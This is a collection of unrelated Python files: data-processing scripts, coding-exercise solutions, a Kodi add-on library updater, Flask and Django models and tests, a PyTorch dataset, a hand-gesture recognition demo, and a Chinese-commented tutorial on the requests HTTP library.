from sys import argv
import csv
import os
from typing import Union, Literal, Iterable
import re

_files = {}

# These are the labels we want to use for our classification. The labels are taken from the original data set.
_desired_labels = [
    ["Name_Calling,Labeling"],
    ["Exaggeration,Minimisation"],
    ["Doubt", "Appeal_to_fear-prejudice"],
    ["Black-and-White_Fallacy"],
    ["Straw_Men", "Whataboutism", "Red_Herring"],
    ["Bandwagon"],
    ["Flag-Waving"],
    ["Repetition", "Slogans"]
]

def main(args):
    """
    Main function of the program. Takes a path as an argument and extracts data from all tsv files in that directory.
    :param args: path to the directory containing the tsv files
    :return: None
    """
    if len(args) != 2:
        print("usage: python data_extractor.py <path>")
        exit(1)

    doc_data: list = []

    dir_name = args[1]

    try:
        # get all tsv files in the given directory
        for file in os.listdir(dir_name):
            if file.endswith(".tsv"):
                # extract id from file name. using this re is dangerous if names are not consistent
                doc_data.extend(process_file(dir_name, file))
    except NotADirectoryError or NotImplementedError as e:
        print("Invalid path. Make sure it is a valid directory.")
        print(e)
        exit(1)
    except FileNotFoundError as e:
        print("File not found. Make sure the path is correct and that the file exists.")
        print(e)
        exit(1)

    # write data to file
    with open("data.csv", "w") as f:
        writer = csv.writer(f)
        writer.writerow(["document_id", "label", "text"])
        writer.writerows(doc_data)

    # collect labels
    # collect_labels(doc_data)

    # use desired labels to create a "collapsed" dataset where each line has the text and then several 0 or 1 flags for
    # each label group
    collapsed_data = {}
    for _, label, text in doc_data:
        if text not in collapsed_data:
            collapsed_data[text] = [0] * len(_desired_labels)
        for i, label_group in enumerate(_desired_labels):
            if label in label_group:
                collapsed_data[text][i] = 1

    with open("data_collapsed.csv", "w") as f:
        writer = csv.writer(f)
        writer.writerow(["text"] + [str(label_group) for label_group in _desired_labels])
        writer.writerows([[text] + flags for text, flags in collapsed_data.items()])

def process_file(dir_name: str, file: str) -> list:
    """
    Extracts data from given file.
    :param file: name of the file from which to extract data
    :return: processed data as a list of lists. This can be considered tabulated data, as in a csv file.
    """
    ret = []

    with open(dir_name + file, "r") as f:
        print("Processing " + file)
        reader = csv.reader(f, delimiter="\t" if ".tsv" in file else ",")
        for document_id, label, start, end, *_ in reader:
            ret.append((document_id, label, get_text(dir_name, document_id, int(start), int(end))))

    return ret

def get_text(dir_name: str, document_id: str, start: int, end: int) -> str:
    if document_id not in _files:
        full_name = f"{dir_name + ('/' if not dir_name.endswith('/') else '')}article{document_id}.txt"
        # just open 2 for now so we can try the other encoding on error
        with open(full_name, "r", encoding="utf-8") as f_utf_8, open(full_name, "r", encoding="utf-16") as f_utf_16:
            try:
                _files[document_id] = f_utf_8.read()
            except UnicodeDecodeError:
                _files[document_id] = f_utf_16.read()

    return read_file(_files[document_id], start, end)

def read_file(content: str, start: int, end: int):
    # Define a regex pattern for sentence-ending punctuation
    sentence_end_pattern = re.compile(r'[.?!]\s*|\n')

    # Find the start and end indices of the sentence containing the specified span
    start_sentence_index = max(0, max(
        [match.end() for match in sentence_end_pattern.finditer(content, 0, start)] or [0]))

    end_sentence_index = sentence_end_pattern.search(content, end)

    if end_sentence_index:
        end_sentence_index = end_sentence_index.end()
    else:
        # If the end of the text is reached, consider the rest of the content as the sentence
        end_sentence_index = len(content)

    # Extract the sentence or set of sentences
    sentence = content[start_sentence_index:end_sentence_index].strip()
    sentence = re.sub(r'\s+', ' ', sentence).strip()

    # replace quotes at the beginning and end with angled quotes
    sentence = re.sub(r'^"', '“', sentence)
    sentence = re.sub(r'"$', '”', sentence)

    return sentence

def collect_labels(csv_iterable: Iterable) -> set[str]:
    """
    Collects all labels from the data and writes them to a file.
    :return: None
    """
    labels = set()

    for _, label, _ in csv_iterable:
        labels.add(label)

    with open("labels.txt", "w") as f:
        f.write("\n".join(labels))

    return labels

if __name__ == "__main__":
    main(argv)


cave = []
rockLines = []

sourcePos = (500, 0)

width = sourcePos[0] + 1
height = sourcePos[1] + 1

paddingRight = 500
paddingBottom = 2

totalSand = 0

AIR = '⬛'
WALL = '⬜'
SOURCE = '🐇'
SAND = '🐰'

def printCave(cave):
  for row in cave:
    print(''.join(row))
  print('')

def hasWall(cave, point):
  return cave[point[1]][point[0]] in [WALL, SAND]

def spawnSand(cave, point, fallen=False):
  # Fall directly down, diagonally left or diagonally right
  targets = [
    (point[0], point[1] + 1),
    (point[0] - 1, point[1] + 1),
    (point[0] + 1, point[1] + 1)
  ]

  for target in targets:
    if not hasWall(cave, target):
      return spawnSand(cave, target, True)

  if (cave[point[1]][point[0]] == SOURCE):
    return False

  cave[point[1]][point[0]] = SAND
  return True

# Read input

while True:
  try:
    line = list(
      map(lambda x: tuple(map(int, x.split(','))), input().split(' -> ')))

    for coords in line:
      width = max(width, coords[0] + 1)
      height = max(height, coords[1] + 1)

    rockLines.append(line)

  except EOFError:
    break

# Allocate cave

width += paddingRight
height += paddingBottom

cave = [[AIR for _ in range(width)] for _ in range(height)]

# Position sand source

cave[sourcePos[1]][sourcePos[0]] = SOURCE

# Create rocks

for line in rockLines:
  prevPoint = line.pop(0)

  while line:
    nextPoint = line.pop(0)

    if prevPoint[0] == nextPoint[0]:
      j = prevPoint[0]
      step = 1 if nextPoint[1] > prevPoint[1] else -1

      for i in range(prevPoint[1], nextPoint[1] + step, step):

        cave[i][j] = WALL

    if prevPoint[1] == nextPoint[1]:
      i = prevPoint[1]
      step = 1 if nextPoint[0] > prevPoint[0] else -1

      for j in range(prevPoint[0], nextPoint[0] + step, step):
        cave[i][j] = WALL

    prevPoint = nextPoint

# Create floor

for i in range(width):
  cave[-1][i] = WALL

# Create sand
while True:
  totalSand += 1
  if spawnSand(cave, sourcePos):
    pass
  else:
    break

printCave(cave)
print(totalSand)


from numpy import *
from UDFManager import *
import matplotlib.pyplot as plt

number=range(1,11)
number_face=[]
calc_time0=[]
calc_time1=[]
for i in number:
	udf=UDFManager("./line%02d_o.udf"%(i))
	f=udf.size("input.face[]")
	t=udf.get("output.time")
	number_face.append(f)
	calc_time0.append(t)
for i in number:
	udf=UDFManager("./line%02d_fo.udf"%(i))
	f=udf.size("input.face[]")
	t=udf.get("output.time")
	calc_time1.append(t)
fig = plt.figure(figsize=(12.0, 9.0))
ax=fig.add_subplot()
ax.plot(number_face,calc_time0,marker='o',markersize=5,linestyle='-',color='blue')
ax.plot(number_face,calc_time1,marker='o',markersize=5,linestyle='-',color='red')
ax.set_xlabel("number of faces")
ax.set_ylabel("calculation time")
plt.tight_layout()
plt.savefig("calculation_time.png")
plt.show()


#택배 배송(5972)
#다익스트라 알고리즘으로 해결 가능하다.
#skill.1 - 소에게 최소한의 여물을 주면서 이동해야 한다.
#skill.2 - 우선순위 큐에 이동하면서 소비하는 여물을 저장해 다익스트라 알고리즘을 적용한다.
#skill.3 - dis 리스의 N 요소를 출력한다.

import heapq
import sys

input = sys.stdin.readline
INF = 1e9

N, M = map(int, input().split())
dis = [INF] * (N + 1)
graph = [[] for _ in range(N + 1)]

for _ in range(M):
    a, b, c = map(int, input().split())
    graph[a].append([b, c])
    graph[b].append([a, c])

q = []
heapq.heappush(q, (0, 1))
dis[1] = 0

while q:
    dist, cx = heapq.heappop(q)

    if dis[cx] < dist:
        continue
    for i in graph[cx]:
        cost = dist + i[1]
        if cost < dis[i[0]]:
            dis[i[0]] = cost
            heapq.heappush(q, (cost, i[0]))

print(dis[N])


#import sys
import os
import xbmc, xbmcgui, xbmcvfs, xbmcaddon
from net import HTTP

__libbaseurl__ = "https://github.com/DiMartinoXBMC/script.module.torrent2http/raw/master/bin"
__settings__ = xbmcaddon.Addon(id='script.module.torrent2http')
__version__ = __settings__.getAddonInfo('version')
__plugin__ = __settings__.getAddonInfo('name') + " v." + __version__

def get_libname(platform):
    return ["torrent2http" + (".exe" if 'windows' in platform else "")]

def log(msg):
    try:
        xbmc.log("### [%s]: %s" % (__plugin__,msg,), level=xbmc.LOGNOTICE )
    except UnicodeEncodeError:
        xbmc.log("### [%s]: %s" % (__plugin__,msg.encode("utf-8", "ignore"),), level=xbmc.LOGNOTICE )
    except:
        xbmc.log("### [%s]: %s" % (__plugin__,'ERROR LOG',), level=xbmc.LOGNOTICE )

def getSettingAsBool(setting):
    return __settings__.getSetting(setting).lower() == "true"

class LibraryManager():
    def __init__(self, dest_path, platform):
        self.dest_path = dest_path
        self.platform = platform

    def check_update(self):
        need_update=False
        if __settings__.getSetting('plugin_name')!=__plugin__:
            __settings__.setSetting('plugin_name', __plugin__)
            for libname in get_libname(self.platform):
                self.libpath = os.path.join(self.dest_path, libname)
                self.sizepath=os.path.join(self.dest_path, libname+'.size.txt')
                size=str(os.path.getsize(self.libpath))
                size_old=open( self.sizepath, "r" ).read()
                if size_old!=size:
                    need_update=True
        return need_update

    def update(self):
        if self.check_update():
            for libname in get_libname(self.platform):
                self.libpath = os.path.join(self.dest_path, libname)
                xbmcvfs.delete(self.libpath)
            self.download()

    def download(self):
        xbmcvfs.mkdirs(self.dest_path)
        for libname in get_libname(self.platform):
            dest = os.path.join(self.dest_path, libname)
            log("try to fetch %s" % libname)
            url = "%s/%s/%s.zip" % (__libbaseurl__, self.platform, libname)
            try:
                self.http = HTTP()
                self.http.fetch(url, download=dest + ".zip", progress=True)
                log("%s -> %s" % (url, dest))
                xbmc.executebuiltin('XBMC.Extract("%s.zip","%s")' % (dest, self.dest_path), True)
                xbmcvfs.delete(dest + ".zip")
            except:
                text = 'Failed download %s!' % libname
                xbmc.executebuiltin("XBMC.Notification(%s,%s,%s)" % (__plugin__,text,750))
        return True


#Kiritilgan uchta sondan musbatlari sonini aniqlash
a=int(input("Birinchi sonni kiriting   "))
b=int(input("Ikkinchi sonni kiriting   "))
c=int(input("Uchinchi sonni kiriting   "))
k=0
if a>0 :
    k+=1
if b>0 :
    k+=1
if c>0 :
    k+=1
print(k,"ta son musbat son .",sep=' ')

Sodda dasturlar/Kiritilgan uchta sondan musbatlari sonini aniqlash.py


from config import db, ma
from marshmallow import fields

class ArtObject(db.Model):
    __tablename__ = 'artobject'
    id = db.Column(db.Integer, primary_key=True)
    title = db.Column(db.String(128))
    description = db.Column(db.String(128))
    coordinate = db.relationship('Coordinate', uselist=False)

class Coordinate(db.Model):
    __tablename__ = 'coordinate'
    artobject_id = db.Column(db.Integer, db.ForeignKey('artobject.id'),
                             nullable=False, primary_key=True)
    latitude = db.Column(db.Float)
    longitude = db.Column(db.Float)
    altitude = db.Column(db.Float)

class Feedback(db.Model):
    __tablename__ = 'feedback'
    id = db.Column(db.Integer, primary_key=True)

class CoordinateSchema(ma.ModelSchema):
    class Meta:
        model = Coordinate
        sqla_session = db.session

class ArtObjectSchema(ma.ModelSchema):
    class Meta:
        model = ArtObject
        sqla_session = db.session
    coordinate = fields.Nested(CoordinateSchema, many=False)

class FeedbackSchema(ma.ModelSchema):
    class Meta:
        model = Feedback
        sqla_session = db.session

general_schema = ArtObjectSchema()
summary_schema = ArtObjectSchema(only=('id', 'title', 'description', 'coordinate'), many=True)
description_schema = ArtObjectSchema(only=('id', 'description',))
coordinate_schema = ArtObjectSchema(only=('id', 'coordinate',))


import os

# adjust your paths here
BASE_PATH = '/home/kathanal/ForDigitHealth/data/'

TARGET_EMOTION_DIM = 'arousal'
FEATURE = 'BPM'
PATH_TO_FEATURE = os.path.join(BASE_PATH, f"feature_segments/{FEATURE}")
PATH_TO_LABELS = os.path.join(BASE_PATH, 'label_segments')
PATH_TO_METADATA = os.path.join(BASE_PATH, 'metadata')

PARTITION_FILES = os.path.join(BASE_PATH, 'metadata/partition.csv')
OUTPUT_PATH = '/home/kathanal/ForDigitHealth/results/'

WIN_LEN = 300
HOP_LEN = 50

LOG_FOLDER = os.path.join(OUTPUT_PATH, 'log')
DATA_FOLDER = os.path.join(OUTPUT_PATH, 'data')
MODEL_FOLDER = os.path.join(OUTPUT_PATH, 'model')
PREDICTION_FOLDER = os.path.join(OUTPUT_PATH, 'prediction')


import json
from os import makedirs
from os.path import join, exists

import deep_surfel as dsurf
import torch
from torch.utils.data import Dataset, IterableDataset

from ._util import get_frame_ids, find_closest_frames, stack_frames
from .frame import Frame

class OneSceneIterableDataset(IterableDataset):
    def __init__(self, config, dir_path, scene, frame_ids, closest_frame_ids, mode):
        super(OneSceneIterableDataset).__init__()

        self.mode = mode
        self.config = config
        self.dir_path = dir_path
        self.frame_ids = frame_ids
        self.closest_frame_ids = closest_frame_ids
        self.scene = scene
        self.n_frames = len(frame_ids)
        self.offset = 0

    def __iter__(self):
        # worker_info = torch.utils.data.get_worker_info()
        for frame_id, closest_frame_id in zip(self.frame_ids, self.closest_frame_ids):
            frame = Frame(self.config, self.dir_path, self.scene, frame_id, self.mode)
            closest_frame = Frame(self.config, self.dir_path, self.scene, closest_frame_id, self.mode)
            yield frame(), closest_frame()

    @staticmethod
    def worker_init_fn(worker_id):
        worker_info = torch.utils.data.get_worker_info()
        dataset = worker_info.dataset  # the dataset copy in this worker process
        indices = list(range(worker_id, dataset.n_frames, worker_info.num_workers))
        dataset.frame_ids = [dataset.frame_ids[i] for i in indices]

    @staticmethod
    def collate_fn(batch):
        closest_frames_batch = [b[1] for b in batch]
        batch = [b[0] for b in batch]

        keys = batch[0].keys()
        for i in range(len(batch)):
            for key in keys:
                if key != 'frame_id':
                    batch[i][key] = batch[i][key].unsqueeze(0)
                    closest_frames_batch[i][key] = closest_frames_batch[i][key].unsqueeze(0)
        return batch, closest_frames_batch

class GeneralizationDataset(Dataset):

    def __init__(self, config, data_root, scene_ids, frame_ids):
        self.mode = 'train'
        self.config = config
        self.data_root = data_root
        self.scene_ids = scene_ids
        self.frame_ids = frame_ids
        self.n_samples = len(scene_ids)
        self.surfel_channels = config.surfel_channels

        self.batch_size = config.batch_size
        self.cache_dir = config.tmp_cache_dir
        self.current_batch_scene_ids = set()
        self.device = self.config.device
        # self.worker_id = 0

    def __len__(self):
        return self.n_samples

    def load_scene(self, scene_id):
        # worker_info = torch.utils.data.get_worker_info()
        scene_name = f'scene_{self.config.geometry_resolution}_{self.config.patch_resolution}.dsurf'

        if not exists(join(self.cache_dir, scene_id, 'cache.json')):  # first time
            makedirs(join(self.cache_dir, scene_id))
            dir_path = join(self.data_root, scene_id, self.mode)
            frame_ids = get_frame_ids(dir_path)
            closest_frame_ids = find_closest_frames(dir_path, frame_ids, self.config.dont_toggle_yz)
            with open(join(self.cache_dir, scene_id, 'cache.json'), 'w') as f:
                json.dump({'frame_ids': frame_ids, 'closest_frame_ids': closest_frame_ids, 'iterator': 0}, f)

            scene = dsurf.load(join(self.data_root, scene_id, scene_name))
            if scene.channels != self.surfel_channels:
                scene.reset(self.surfel_channels)
        else:
            scene = dsurf.load(join(self.cache_dir, scene_id, scene_name))
        scene.scene_id = scene_id

        return scene

    def load_frame(self, scene):
        dir_path = join(self.data_root, scene.scene_id, self.mode)
        with open(join(self.cache_dir, scene.scene_id, 'cache.json')) as f:
            cache = json.load(f)
            frame = Frame(self.config, dir_path, scene, cache['frame_ids'][cache['iterator']], self.mode)()
            closest_frame = Frame(self.config, dir_path, scene, cache['closest_frame_ids'][cache['iterator']],
                                  self.mode)()
            for key in frame.keys():
                if key != 'frame_id':
                    frame[key] = frame[key].unsqueeze(0)
                    closest_frame[key] = closest_frame[key].unsqueeze(0)

        return frame, closest_frame

    def __getitem__(self, idx):
        # print(f'{torch.utils.data.get_worker_info().id} loads {self.scene_ids[idx]}')
        print(f'loads {self.scene_ids[idx]}')
        scene = self.load_scene(self.scene_ids[idx])
        frame, closest_frame = self.load_frame(scene)
        return scene, frame, closest_frame

    @staticmethod
    def collate_fn(batch):
        scene = dsurf.stack([b[0] for b in batch])
        frame = stack_frames([b[1] for b in batch])
        closest_frame = stack_frames([b[2] for b in batch])

        return scene, frame, closest_frame


#Functions for library
import datetime

todaysDate = str(datetime.date.today())
now =datetime.datetime.now()
time = str(now.strftime("%Y-%m-%d %H: %M: %S"))
x = 0

def read():
    file = open(".//resource//stock.txt","r")
    for line in file:
        print(line.strip("\n"))
    file.close()

def storedList():
    books = []
    file = open(".//resource//stock.txt","r")
    for line in file:
        books.append(line.strip("\n").split(","))
    file.close()
    return books

def chkStock(bookname,quantity):
    books = storedList()
    if int(books[bookname][2]) > quantity-1:
            return True

def loan(bookname,quantity):
    books = storedList()
    q = int(books[bookname][2])
    r = q - quantity
    books[bookname][2] = r

    file = open(".//resource//stock.txt","w")
    for i in books:
        file.writelines(str(i[0]) +","+ str(i[1])+ "," + str(i[2]) + ","+ str(i[3])+"\n")
    file.close()

def reciept(name,bookname,quantity,rate,uniqueid):
    books = storedList()
    book = books[bookname][0]

    file = open(name+str(uniqueid)+".txt","w")
    file.write("-----------------------------------------|LOAN|---------------------------------------------" +"\n")
    file.write("Time: " + time + "\n")
    file.write("--------------------------------------------------------------------------------------------"+"\n")
    file.write("Name: " + name +"\n")
    file.write("Borrowed: ")
    file.write(str(book) + ", " + str(quantity) + "," + rate+"\n")
    file.write("Amount: $" + str(transcation(bookname,quantity))+"0 \n")
    file.write("--------------------------------------------------------------------------------------------")
    file.close()

def recieptstudent(name,bookname,quantity,rate,uniqueid,days):
    books = storedList()
    book = books[bookname][0]

    file = open("Return_"+name+str(uniqueid)+".txt","w")
    file.write("-----------------------------------------|RETURN|-------------------------------------------"+"\n")
    file.write("Time: " +time + "\n")
    file.write("--------------------------------------------------------------------------------------------"+"\n")
    file.write("Name: " + name +"\n")
    file.write("Returned: ")
    file.write(str(book) + ", " + str(quantity) + "," + rate +"\n")
    file.write("Amount: $"+str(transcation(bookname,quantity) + overdued(days,quantity))+"0 \n")
    file.write("--------------------------------------------------------------------------------------------")
    file.close()

def getRate(bookname=0):
    return storedList()[bookname][3]

def returnBook(name,bookname,quantity):
    books = storedList()
    book = books[bookname][0]

    q = int(books[bookname][2])
    r = q + quantity
    books[bookname][2] = r

    file= open(".//resource//stock.txt","w")
    for i in books:
        file.writelines(str(i[0]) +","+ str(i[1])+ "," + str(i[2]) + ","+ str(i[3])+"\n")
    file.close()

def transcation(bookname,quantity):
    rate = float(getRate(bookname).replace("$",""))
    total = quantity * rate
    return total

def display():
    print("--------------------------------------------------------------------------------------------")
    print("Book Name         Author               Quantity   Price(per 10 day)")
    print("--------------------------------------------------------------------------------------------")

    file = open(".//resource//stock.txt","r")
    for line in file:
        print(line.replace(",","  \t  "))

    print("--------------------------------------------------------------------------------------------")

def getUniqeID():
    file = open(".//resource//uniqueid.txt","r")
    uniqueid = int(file.readline())
    file.close
    return uniqueid

def UpdateUniqueID(uniqueid):
    file = open(".//resource//uniqueid.txt","w")
    file.write(str(uniqueid))
    file.close

def chkBookname(bookname):
    books = storedList()
    for i in books:
        if bookname in i[0]:
            return True
    else:
        return False

def overdued(days,quantity):
    if days > 10:
        return int(0.50*(days - 10)*quantity)
    else:
        return int(0)


import math
import os
import random
import re
import sys

# Complete the countApplesAndOranges function below.
def countApplesAndOranges(s, t, a, b, apples, oranges):
    ac,oc = 0,0
    for apple in apples:
        if apple+a>=s and apple+a<=t:
            ac += 1
    for orange in oranges:
        if orange+b>=s and orange+b<=t:
            oc += 1
    print(ac)
    print(oc)

s,t = 7, 11
a,b = 5, 15
m,n = 3, 2
apples = [-2, 2, 1]
oranges = [5, -6]
countApplesAndOranges(s, t, a, b, apples, oranges)


import os

import pytest

from src.analogy.utils.file_utils import check_file_extension, check_is_directory, check_is_file

@pytest.mark.parametrize(
    ("resource_path", "file_expected", "directory_expected"),
    [
        ("src/analogy/data/sample.csv", True, False),
        ("src/analogy/data", False, True),
        ("src/analogy/data/data.txt", False, False),
        ("src/analogy/data/csv", False, False),
        (None, False, False),
    ],
)
def test_file_utilities(resource_path, file_expected, directory_expected):
    status_ext = check_file_extension(resource_path)
    status_file = check_is_file(resource_path)
    status_dir = check_is_directory(resource_path)

    assert status_ext == file_expected
    assert status_file == file_expected
    assert status_dir == directory_expected


# Requests
# requests 是用Python语句编写的，基于Urllib，采用Apache2 Licensed开源协议的HTTP库
# 比urllib更加方便，可以节约大量工作时间，完全满足HTTP测试需求
# 是Python实现的简单易用的HTTP库

# 安装requests--pip3 install requests

# import requests
#
# def write(url):
#
#     response = requests.get(url)
#     with open('/home/python/Desktop/Resquests库/01','wb') as f:
#     # 这里open跟的参数第一个除了选择文件的存储位置外，最后的01还是给文件命名
#         f.write(response.content)
#         f.close()
#
# write('https://ss2.bdstatic.com/70cFvnSh_Q1YnxGkpoWK1HF6hhy/it/u=805163359,68275993&fm=27&gp=0.jpg')

### requests.get
# Requests 实例引入
# 获得响应的内容
import requests
url = 'http://www.baidu.com'
response = requests.get(url)
print(type(response))
print(response.status_code)     # 状态码
print(type(response.text))
print(response.text)
print(response.cookies)

# 各种请求方式
import requests
requests.post('http://httpbin.org')
requests.put('http://httpbin.org/put')
requests.delete('http://httpbin.org/delete')
requests.head('http://httpbin.com/get')
requests.options('http://httpbin.org.get')

# 请求
# 基本get请求
import requests
url = 'http://httpbin.org/get'
response = requests.get(url)
print(response.text)

# 带参数get请求
import requests
response = requests.get('http://httpbin.org/get?name=gamey & age=22')
print(response.text)

import requests
data = {'name':'Allen','age':19}
response = requests.get('http://httpbin.org/get',params=data)   # params的参数是字典的形式
print(response.text)

# 解析Json
import requests
import json
response = requests.get('http://httpbin.org/get')
print(type(response.text))
print(json.loads(response.text))
print(response.json())
print(type(response.json()))

# 获取二进制数据
import requests
response = requests.get('http://www.github.com/favicon.ico')
print(type(response.text),type(response.content))
print(response.text)
print(response.content)

# 通过requests方法，通过图片的url获取图片的二进制数据，并把图片保存到桌面的某个文件夹中
import requests
response = requests.get('http://www.github.com/favicon.ico')
with open('/home/python/Desktop/01','wb') as f:
    f.write(response.content)
    f.close()

# 添加headers
import requests
headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/67.0.3396.99 Chrome/67.0.3396.99 Safari/537.36'}
# 在浏览器中查看Requests Headers即可查看User-Agent
response = requests.get('http://www.zhihu.com/explore',headers=headers)
print(response.text)

# response属性
import requests
response = requests.get('http://www.jianshu.com')
print(type(response.status_code),response.status_code)
print(type(response.headers),response.headers)
print(type(response.cookies),response.cookies)
print(type(response.history),response.history)
print(type(response.url),response.url)

# 状态码判断
import requests
response = requests.get('http://www.jianshu.com')
exit() if not response.status_code == requests.codes.ok else print('Requests Successfully')

import requests
response = requests.get('http://www.jianshu.com')
exit() if not response.status_code == 200 else print('Requests Successfully')

### 基本POST请求
import requests
data = {'name':'Allen','age':'22'}  # 传入字典类型的参数
response = requests.post('http://httpbin.org/post',data=data)
print(response.text)

import requests
data = {'name':'Allen','age':'22'}
headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/67.0.3396.99 Chrome/67.0.3396.99 Safari/537.36'}
#　把data,headers都当做参数传入post方法中
response = requests.post('http://httpbin.org/post',data=data,headers=headers)
print(response.json())

# 文件上传
# 将已有的一个文件上传到某一个连接中
import requests
files = {'file':open('/home/python/Desktop/Requests库/01','rb')}
# files中的file是上传之后给文件命的名，后面是源文件的位置及名称
response = requests.post('http://httpbin.org/post',files=files)
print(response.text)

# 获取cookies
# cookies 是requests的一个属性
import requests
response = requests.get('http://www.baidu.com')
print(response.text)
for key,value in response.cookies.items():
    print(key +'='+ value)

# 回话维持－－模拟登录状态
import requests
# 为网站设置一个cookies
# 两个requests是完全独立的－使用两个浏览器，一个用来建立cookies
requests.get('http://httpbin.org/cookies/set/number/123')
# 一个通过cookies访问网站
response = requests.get('http://httpbin.org/cookies')
print(response.text)

# 使用一个浏览器完成上述操作
# 推荐：这样在同一个浏览器中，cookies还是自动处理好的
import requests
s = requests.Session()
s.get('http://httpbin.org/cookies/set/number/123')
response = s.get('http://httpbin.org/cookies')
print(response.text)

#　证书验证
# 12306的网站证书是一个不安全的证书，SSL认证错误
import requests
response = requests.get('https://www.12306.com')
print(response.status_code)

# 参数verify 消除证书警告
import requests
from requests.packages import urllib3
urllib3.disable_warnings()  # 消除建议加证书验证的警告
response = requests.get('https://www.12306.com',verify=False) # verify的值默认是True
print(response.status_code)

# 参数cert CA证书验证
import requests
response = requests.get('https://www.12306.com',cert=('/path/server.crt','/path/key'))
print(response.status_code)

# 代理设置
import requests
proxies = {'http':'http://123.123.123','https':'http://123.123.123'}
response = requests.get('https://www.taobao.com',proxies=proxies)
print(response.status_code)
# 返回200的状态码－－说明访问成功了

# 需要代理用户名和密码的时候，传入一个代理的字典参数
import requests
proxies = {'http':'http://user.passwoed@127.0.0.1:9743'}
response = requests.get('http:///www,taobao.com',proxies=proxies)
print(response.status_code)

# socks代理--pip install requests[socks]
import requests
proxies = {'http':'socks5://127.0.0.19742','https':'socks5://127.0.0.19742'}
response = requests.get('https://www.taobao.com',proxies=proxies)
print(response.status_code)

# 超时设置
import requests
from requests.exceptions import ReadTimeout
try:
    response = requests.get('https://www.taobao.com',timeout=1)
    print(response.status_code)
except ReadTimeout:
    print('Timeout')

# 认证设置
# 通过auth参数，传入用户名和密码
import requests
from requests.auth import HTTPBasicAuth
response = requests.get('http://120.27.34.24:9001',auth=HTTPBasicAuth('user','123'))
print(response.status_code)

import requests
response = requests.get('http://120.27.34.24:9001',auth=('user','123'))
print(response.status_code)

# 异常处理
import requests
# 导入requests中的异常
from requests.exceptions import ReadTimeout,HTTPError,RequestException
try:
    response = requests.get('http://httpbin.org/get',timeout=0.5)
    print(response.status_code)
except ReadTimeout:
    print('Timeout')
except HTTPError:
    print('HTTPError')
except RequestException:    # 父类的error
    print('Error')


from cities.models import City, Country, Region
from django.contrib.gis.geos import Point
from django.test import TestCase

from airports.management.commands.airports import create_airport, get_location_info

class AirportTests(TestCase):
    def setUp(self):
        self.country = Country(
            slug="United-States",
            name="United States",
            code="US",
            code3="USA",
            population=310232863,
            area=9629091,
            currency="USD",
            currency_name="Dollar",
            currency_symbol="$",
            language_codes="en-US,es-US,haw,fr",
            phone="1",
            tld="us",
            capital="Washington",
        )
        self.country.save()
        self.region = Region(
            slug="California_US.CA",
            name="California",
            name_std="California",
            code="CA",
            country=self.country,
        )
        self.region.save()
        self.city = City(
            slug="5323401-Alpine",
            name="Alpine",
            name_std="Alpine",
            country=self.country,
            region=self.region,
            location=Point(-116.76641, 32.83505),
            population=14236,
            elevation=559,
            kind="PPL",
            timezone="America/Los_Angeles",
        )
        self.city.save()
        self.id = 8227
        self.airport_defaults = dict(
            name="On the Rocks Airport",
            municipality="Alpine",
            iata=None,
            icao="1CA6",
            local_code="1CA6",
            ident="1CA6",
            altitude=0.0,
            longitude=-116.7229995727539,
            latitude=32.76509857177734,
            country=self.country,
            region=self.region,
            city=self.city,
            type="small_airport",
        )

    def test_create_airport(self):
        country, region, city = get_location_info("Alpine", None, None, -116.7229995727539, 32.76509857177734)
        self.assertIsNotNone(country)
        self.assertIsNotNone(region)
        self.assertIsNotNone(city)
        airport = create_airport(id=self.id, **self.airport_defaults)
        self.assertIsNotNone(airport)

    def test_create_airport_no_name(self):
        country, region, city = get_location_info("", None, None, -116.7229995727539, 32.76509857177734)
        self.assertIsNotNone(country)
        self.assertIsNotNone(region)
        self.assertIsNotNone(city)
        defaults = self.airport_defaults
        defaults["name"] = ""
        airport = create_airport(id=self.id, **defaults)
        self.assertIsNotNone(airport)
        self.assertEqual(airport.name, "Alpine")

    def test_create_airport_no_municipality(self):
        country, region, city = get_location_info("", None, None, -116.7229995727539, 32.76509857177734)
        self.assertIsNotNone(country)
        self.assertIsNotNone(region)
        self.assertIsNotNone(city)
        defaults = self.airport_defaults
        defaults["name"] = ""
        defaults["municipality"] = ""
        airport = create_airport(id=self.id, **defaults)
        self.assertIsNotNone(airport)
        self.assertEqual(airport.name, "Alpine")


import cv2
import settings
import mediapipe as mp
import numpy as np
from numpy import core
from tensorflow.keras.models import load_model

mp_hands = mp.solutions.hands
camera = settings.camera
model_name = settings.model_name
labels = settings.labels

# Mediapipe Setup from https://google.github.io/mediapipe/solutions/hands.html

def process_mediapipe(frame, hands):
    image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
    results = hands.process(image)
    return results.multi_hand_landmarks

def image_capture(model, hands):
    cap = cv2.VideoCapture(camera)
    while True:
        ret, frame = cap.read()
        landmarks = process_mediapipe(frame, hands)
        output = 'no hand detected'
        if landmarks:
            landmarks = unpack_landmarks(landmarks)
            coordinates = vectorize_landmarks(landmarks)
            prediction, confidence = process_flainet(coordinates, model)
            output = f'{prediction}: {confidence}'

        # Flip the image horizontally for a selfie-view display.
        image = frame.copy()
        image = cv2.flip(image, 1)
        cv2.putText(image,
                    output,
                    (30, 30),
                    cv2.FONT_HERSHEY_SIMPLEX,
                    .6,
                    (0, 255, 0),
                    1)

        cv2.imshow('Flainet Demo', image)

        if cv2.waitKey(5) & 0xFF == 27:
            break
    cap.release()

def unpack_landmarks(landmarks):
    lm = []
    for landmark in landmarks[0].landmark:
        vec = [landmark.x, landmark.y, landmark.z]
        lm.append(vec)
    return lm

def vectorize_landmarks(landmarks):
    coordinates = np.array(landmarks)
    return coordinates

def process_flainet(coordinates, model):
    examples = np.array([coordinates])
    predictions = model.predict(examples)
    prediction_classes = np.argmax(predictions, axis=-1)
    confidence = np.amax(predictions, axis=-1)
    return labels[prediction_classes[0]], confidence[0]

def main():
    hands = mp_hands.Hands(
        static_image_mode=False,
        model_complexity=1,
        max_num_hands=1,
        min_detection_confidence=0.7,
        min_tracking_confidence=0.8)
    model = load_model(f'../{model_name}.h5')
    image_capture(model, hands)

if __name__ == '__main__':
    main()


import urllib.request
import json
import time

from person import URL, summary

def fetch():
    request = urllib.request.Request(
        URL,
        headers={'User-Agent': 'Mozilla/5.0 (Macintosh; M1 Mac OS X 11)'})
    res = urllib.request.urlopen(request)
    return json.load(res)

def main():
    for _ in range(50):
        person = fetch()
        print(summary(person))

